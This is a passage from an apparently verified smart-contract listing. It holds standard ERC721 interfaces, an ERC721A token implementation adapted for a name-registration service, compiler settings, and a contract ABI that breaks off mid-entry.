by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/IERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Interface of an ERC721A compliant contract. */ interface IERC721A is IERC721, IERC721Metadata { /** * The caller must own the token or be an approved operator. */ error ApprovalCallerNotOwnerNorApproved(); /** * The token does not exist. */ error ApprovalQueryForNonexistentToken(); /** * The caller cannot approve to their own address. */ error ApproveToCaller(); /** * The caller cannot approve to the current owner. */ error ApprovalToCurrentOwner(); /** * Cannot query the balance for the zero address. */ error BalanceQueryForZeroAddress(); /** * Cannot mint to the zero address. */ error MintToZeroAddress(); /** * The quantity of tokens minted must be more than zero. */ error MintZeroQuantity(); /** * The token does not exist. */ error OwnerQueryForNonexistentToken(); /** * The caller must own the token or be an approved operator. */ error TransferCallerNotOwnerNorApproved(); /** * The token must be owned by `from`. */ error TransferFromIncorrectOwner(); /** * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface. */ error TransferToNonERC721ReceiverImplementer(); /** * Cannot transfer to the zero address. */ error TransferToZeroAddress(); /** * The token does not exist. */ error URIQueryForNonexistentToken(); // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } /** * @dev Returns the total amount of tokens stored by the contract. * * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens. */ function totalSupply() external view returns (uint256); } // File: erc721a/contracts/ERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721A { using Address for address; using Strings for uint256; // The tokenId of the next token to be minted. uint256 internal _currentIndex; mapping(uint => string) public tokenIDandAddress; mapping(string => uint) public tokenAddressandID; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex < end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_ALLOWLIST_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowList","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_proof","type":"bytes32[]"}],"name":"checkAllowlist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"string","name":"new_ether_name","type":"string"}],"name":"namediff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_discount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_owner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string","name":"ether_name","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"allwchr","type":"bytes"}],"name":"setAllowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"WhitesaleIsActive","type":"bool"}],"name":"setAllowListSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxCharSize_","type":"uint256"}],"name":"setMaxCharSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"},{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setMerkleRootSubdomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"}],"name":"setPrimaryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ref_","type":"uint256"},{"internalType":"uint256","name":"ref_owner_","type":"uint256"},{"internalType":"uint256","name":"ref_discount_","type":"uint256"},{"internalType":"uint256","name":"subdomains_fee_","type":"uint256"}],"name":"setRefSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"}],"name":"setSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"},{"internalType":"uint256","name":"customPrice","type":"uint256"},{"internalType":"string","name":"ether_name","type":"string"}],"name":"setSubdomainSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setWhitelistPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"address","name":"","type":"address"}],"name":"subDomains_allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_publicSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"subdomains_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"tokenAddressandID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenIDandAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"i